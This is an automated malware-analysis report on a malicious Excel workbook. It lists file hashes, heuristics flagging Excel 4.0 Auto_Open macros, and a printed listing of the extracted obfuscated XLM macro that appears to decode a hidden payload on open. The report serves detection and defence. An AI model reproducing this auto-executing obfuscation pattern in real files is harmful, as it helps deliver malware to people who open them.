Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1fab15b82335e606…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:16 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 9fb63f97ed8cfe7b82f173b89c051a43 SHA-1: d367c3054ed0bb78751d24908140a178d37b388a SHA-256: 1fab15b82335e60637ad83d22bba95619ceaa76b786551518f5ef3db7b99fc38
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6620 bytes
SHA-256: b9086ad84db3a20fecd4a8abc9a9fd4eb887087b90f0496fae9f48c766448300
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qveGm
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F183 
' 0018     25 LABEL : Cell Value, String Constant - AzQehbmhDY len=0 
' 0018     21 LABEL : Cell Value, String Constant - BmTtMy len=0 
' 0018     24 LABEL : Cell Value, String Constant - CjJZQwjvf len=0 
' 0018     21 LABEL : Cell Value, String Constant - fdcguS len=0 
' 0018     24 LABEL : Cell Value, String Constant - fEkLPDcfD len=0 
' 0018     27 LABEL : Cell Value, String Constant - fRgZZTlRmTlk len=0 
' 0018     24 LABEL : Cell Value, String Constant - fsTMmHCim len=0 
' 0018     25 LABEL : Cell Value, String Constant - GqWSCPCMXS len=0 
' 0018     25 LABEL : Cell Value, String Constant - HxOHaGtUQD len=0 
' 0018     20 LABEL : Cell Value, String Constant - iBwNY len=0 
' 0018     20 LABEL : Cell Value, String Constant - jaFVH len=0 
' 0018     23 LABEL : Cell Value, String Constant - JkvYjMqO len=0 
' 0018     24 LABEL : Cell Value, String Constant - LsdmqMSlN len=0 
' 0018     22 LABEL : Cell Value, String Constant - neTLgLI len=0 
' 0018     22 LABEL : Cell Value, String Constant - nIaJDWr len=0 
' 0018     20 LABEL : Cell Value, String Constant - pptIU len=0 
' 0018     21 LABEL : Cell Value, String Constant - tizyGC len=0 
' 0018     27 LABEL : Cell Value, String Constant - TZQAiJjypmRd len=0 
' 0018     23 LABEL : Cell Value, String Constant - VRebxZAK len=0 
' 0018     23 LABEL : Cell Value, String Constant - zjVOvHVR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qveGm,F90,"SET.NAME("GqWSCPCMXS",0+VALUE("0"))",""
'  qveGm,P91,"",716.00000000000000000000
'  qveGm,F92,"SET.NAME("iBwNY",GqWSCPCMXS)",""
'  qveGm,P92,"",67.00000000000000000000
'  qveGm,P93,"",-808.00000000000000000000
'  qveGm,P94,"",681.00000000000000000000
'  qveGm,F95,"SET.NAME("fEkLPDcfD",GqWSCPCMXS)",""
'  qveGm,P95,"",140.00000000000000000000
'  qveGm,P96,"",-297.00000000000000000000
'  qveGm,F97,"SET.NAME("pptIU",COUNTA(VRebxZAK))",""
'  qveGm,F102,"SET.NAME("neTLgLI",COUNTA(LsdmqMSlN))",""
'  qveGm,F105,[],""
'  qveGm,F109,"SET.NAME("fRgZZTlRmTlk","")",""
'  qveGm,F113,"iBwNY",""
'  qveGm,F118,"SET.NAME("HxOHaGtUQD",HLOOKUP("*",VRebxZAK,iBwNY,FALSE))",""
'  qveGm,F123,"fdcguS",""
'  qveGm,F126,"SET.NAME("BmTtMy",GqWSCPCMXS)",""
'  qveGm,F130,[],""
'  qveGm,F135,"BmTtMy",""
'  qveGm,F137,"fsTMmHCim",""
'  qveGm,F141,"zjVOvHVR",""
'  qveGm,F146,"CjJZQwjvf",""
'  qveGm,F150,"SET.NAME("nIaJDWr",VALUE(HLOOKUP("*",LsdmqMSlN,CjJZQwjvf,FALSE)))",""
'  qveGm,F152,"tizyGC",""
'  qveGm,F154,"fRgZZTlRmTlk",""
'  qveGm,F157,"fEkLPDcfD",""
'  qveGm,F160,NEXT(),""
'  qveGm,F162,"JkvYjMqO",""
'  qveGm,F165,[],""
'  qveGm,F170,"TZQAiJjypmRd",""
'  qveGm,F175,NEXT(),""
'  qveGm,F178,RETURN(),""
'  qveGm,F209,"SET.NAME("AzQehbmhDY",F90)",""
'  qveGm,F211,"VRebxZAK",""
'  qveGm,F214,"SET.NAME("LsdmqMSlN",R84C11)",""
'  qveGm,F217,"SET.NAME("TZQAiJjypmRd",227)",""
'  qveGm,F222,"SET.NAME("jaFVH",6)",""
'  qveGm,F226,AzQehbmhDY(),""
'  qveGm,F227,HALT(),""

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